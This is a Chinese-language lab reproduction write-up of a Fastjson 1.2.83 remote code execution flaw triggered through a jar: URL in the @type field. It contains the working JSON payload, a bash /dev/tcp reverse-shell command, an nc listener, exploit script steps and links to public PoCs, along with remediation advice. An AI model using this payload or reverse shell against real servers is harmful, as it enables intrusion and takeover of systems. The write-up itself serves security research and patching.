漏洞概述
2026年7月,安全研究人员披露了 Fastjson 1.2.83 及之前版本中存在一个无需依赖任何第三方类库(Gadget) 的远程代码执行漏洞。攻击者只需发送一条特制的 JSON Payload,即可在目标服务器上执行任意命令。该漏洞影响 Fastjson 1.2.66 ~ 1.2.83,即使在 autoTypeSupport 默认关闭的情况下也可触
影响版本
-
Fastjson 1.2.66 – 1.2.83
-
JDK 8 环境(JDK 9+ 可能仅触发 SSRF)
-
部署方式:Spring Boot FatJar(使用 LaunchedURLClassLoader)
漏洞原理简析
Fastjson 在处理 @type 字段时,会调用 checkAutoType 方法尝试加载类。攻击者可以构造一个特殊的 @type 值,例如:
jar:http:..2130706433:19090.probe!.POC
其中 2130706433 是 127.0.0.1 的十进制整数表示(用于绕过点号替换逻辑)。Fastjson 会将该值转换为 JAR URL:
jar:http://127.0.0.1:19090/probe!/POC.class
在 Spring Boot 的 LaunchedURLClassLoader 环境下,该 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。
实验环境
| 靶机 | Ubuntu Linux(虚拟机) | JDK 8u492、Maven 3.6+、Spring Boot FatJar |
| 攻击机 | 同一台虚拟机(本地回环) | Python 3、nc |
| 漏洞组件 | Fastjson 1.2.83 | 靶场项目 fastjson-1.2.83-rce |
注:为简化实验,攻击机与靶机位于同一台机器(127.0.0.1),网络互通。
复现步骤
1.部署fastjson服务靶场
确认 JDK 版本为 1.8、安装Maven(如未安装):
java -version
# openjdk version "1.8.0_492"
sudo apt install maven -y
克隆靶场项目并编译:
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
mvn clean package -DskipTests

启动靶场(默认监听 18080 端口):看到 Started Application 即表示成功
java -jar target/fastjson-rce-env-1.0.0.jar

2.攻击机生成恶意 JAR 并启动 HTTP 服务(本实验用的是同一台虚拟机)
新开一个终端,进入项目目录,运行 build.sh 生成包含反弹 Shell 命令的 probe.jar:
-
编译一个包含静态代码块的 Java 类,执行指定的命令;
-
打包为 probe.jar;
-
自动在 19090 端口启动 Python HTTP 服务器,托管该 JAR 文件。
bash scripts/build.sh 127.0.0.1 19090 "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

注意:在实际攻防场景中,如果靶机是公网 IP,攻击者需要在自己的 VPS(公网服务器)上运行这个 HTTP 服务,然后让靶机来自己的 VPS 下载恶意 JAR
监听反弹 Shell,发送攻击 Payload:
脚本会自动:
-
启动 HTTP 服务器(若未启动);
-
向 http://127.0.0.1:18080/parse 发送如下 Payload:
-
{"@type": "jar:http:..2130706433:19090.probe!.POC", "x": 1}
nc -lvnp 4444
#继续在攻击终端执行 exploit.py,向靶场发送恶意 JSON
python3 poc/exploit.py 127.0.0.1 19090 http://127.0.0.1:18080
执行后,靶场返回 200 OK,且攻击终端的 HTTP 服务器日志中会看到 GET /probe 请求,表明 JAR 已被成功下载并加载

3.验证命令执行
此时,nc 监听终端应显示 Connection received,并进入交互式 Shell。执行任意命令验证:
id pwd whoami ll..

若看到上述输出,说明 RCE 成功,已获取目标服务器的 root 权限。
修复建议
| 立即启用 SafeMode | ParserConfig.getGlobalInstance().setSafeMode(true); 或 JVM 参数 -Dfastjson.parser.safeMode=true |
| 升级到 Fastjson 2.x | 官方已停止维护 1.x,2.x 版本重构了安全机制 |
| 使用第三方 WAF | 可临时拦截包含 @type 中 jar: 协议的请求 |
总结
本次复现验证了 Fastjson 1.2.83 的“无 Gadget”RCE 漏洞。攻击者仅需一条 JSON Payload 即可在满足特定条件(JDK 8 + Spring Boot FatJar)的服务器上执行任意命令。该漏洞危害极大,建议使用 Fastjson 1.x 的用户立即采取缓解措施。
⚠️ 声明:本文内容仅供安全研究和授权测试使用,严禁用于非法目的。
POC参考链接
0x7eTeam/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE
ThanatosXingYu/2026FastjsonPoC: 【已复现】Fastjson 1.2.66–1.2.83 JsonType 纯库一键 RCE(AutoType 关闭仍可利用;完整 RCE 需 JDK8 + Spring Boot LaunchedURLClassLoader)。仅限授权安全研究与本地防御验证。
网硕互联帮助中心






评论前必须登录!
注册